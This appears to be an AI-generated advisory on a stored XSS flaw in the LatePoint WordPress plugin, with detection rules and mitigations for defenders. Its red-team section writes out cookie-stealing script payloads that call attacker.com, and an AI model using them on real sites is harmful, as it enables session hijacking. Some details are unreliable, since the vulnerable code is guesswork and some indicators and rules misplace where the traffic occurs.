CVE-2025-6941

Executive Summary

CVE-2025-6941 is a Stored Cross-Site Scripting (XSS) vulnerability in the LatePoint – Calendar Booking Plugin for Appointments and Events for WordPress. The flaw exists in the latepoint_resources shortcode, specifically within the id parameter. Due to insufficient input sanitization and output escaping, authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode, leading to potential session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 5.1.94. No patch is currently available, and no public exploit code has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for widespread exploitation via stored payloads in a popular booking plugin elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the latepoint_resources shortcode, which is used to display booking resources (e.g., staff, locations). The id parameter is not properly sanitized or escaped before being rendered in the page. An attacker with Contributor-level access can create or edit a post/page and insert the shortcode with a malicious payload in the id parameter.

Example vulnerable shortcode usage:

[latepoint_resources id="1<script>alert('XSS')</script>"]

When the page is rendered, the id value is output directly into the HTML without escaping, causing the script to execute in the context of the victim's browser. The stored nature means the payload persists in the database, affecting all subsequent visitors.

Vulnerable vs. Patched Code

Vulnerable Code (LatePoint <= 5.1.94):

// In shortcode handler
function latepoint_resources_shortcode($atts) {
    $id = $atts['id'];
    // Direct output without sanitization
    echo '<div class="latepoint-resource" data-id="' . $id . '">';
    // ... rest of the code
}

Patched Code (Hypothetical fix):

function latepoint_resources_shortcode($atts) {
    $id = isset($atts['id']) ? intval($atts['id']) : 0;
    // Use esc_attr for safe output
    echo '<div class="latepoint-resource" data-id="' . esc_attr($id) . '">';
    // ... rest of the code
}

The patch would enforce integer validation and use esc_attr() to escape the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with LatePoint plugin <= 5.1.94
• Authenticated user with Contributor role or higher

Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode with a malicious payload:

   [latepoint_resources id="1<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish the post.
5. When an administrator or visitor views the post, the script executes, exfiltrating cookies to the attacker's server.

Alternative payload for session hijacking:

[latepoint_resources id="1<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie</script>"]

Blue Team (Detection & Mitigation)

Detection:

• Monitor for posts/pages containing the latepoint_resources shortcode with suspicious id values (e.g., containing <script> tags).
• Review server logs for requests to external domains from the WordPress admin interface.
• Use Web Application Firewall (WAF) rules to block XSS patterns in shortcode parameters.

Mitigation:

• Disable the latepoint_resources shortcode until a patch is applied.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• Shortcode pattern: [latepoint_resources id="*<script>*"] in post/page content.
• HTTP requests: Outbound requests to attacker-controlled domains from the WordPress server.
• Database entries: Suspicious id values in the post_content column of the wp_posts table.
• Log entries: PHP error logs showing unescaped output in shortcode handling.

Detection Engineering

YARA Rule

rule CVE_2025_6941_LatePoint_XSS {
    meta:
        description = "Detects stored XSS payloads in LatePoint shortcode id parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6941"
    strings:
        $shortcode = /\[latepoint_resources\s+id\s*=\s*["'][^"']*<script[^>]*>/
    condition:
        $shortcode
}

Sigma Rule

title: LatePoint Stored XSS via Shortcode
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-6941 by injecting malicious shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "latepoint_resources"
        http.url|re: "id=.*<script"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with numeric IDs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6941 LatePoint Stored XSS Attempt"; flow:to_server,established; content:"latepoint_resources"; http_uri; pcre:"/id\s*=\s*["'][^"']*<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the shortcode: Temporarily remove or disable the latepoint_resources shortcode via a custom plugin or theme functions.php:

   remove_shortcode('latepoint_resources');
   

2. Restrict user roles: Limit Contributor-level access to only trusted users.
3. Apply virtual patching: Use a WAF to block requests containing <script> in the id parameter.

Long-term Fix:

• Apply the official patch from LatePoint when released.
• Upgrade to a patched version (currently unknown).
• Conduct a security audit of all shortcodes in the plugin.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.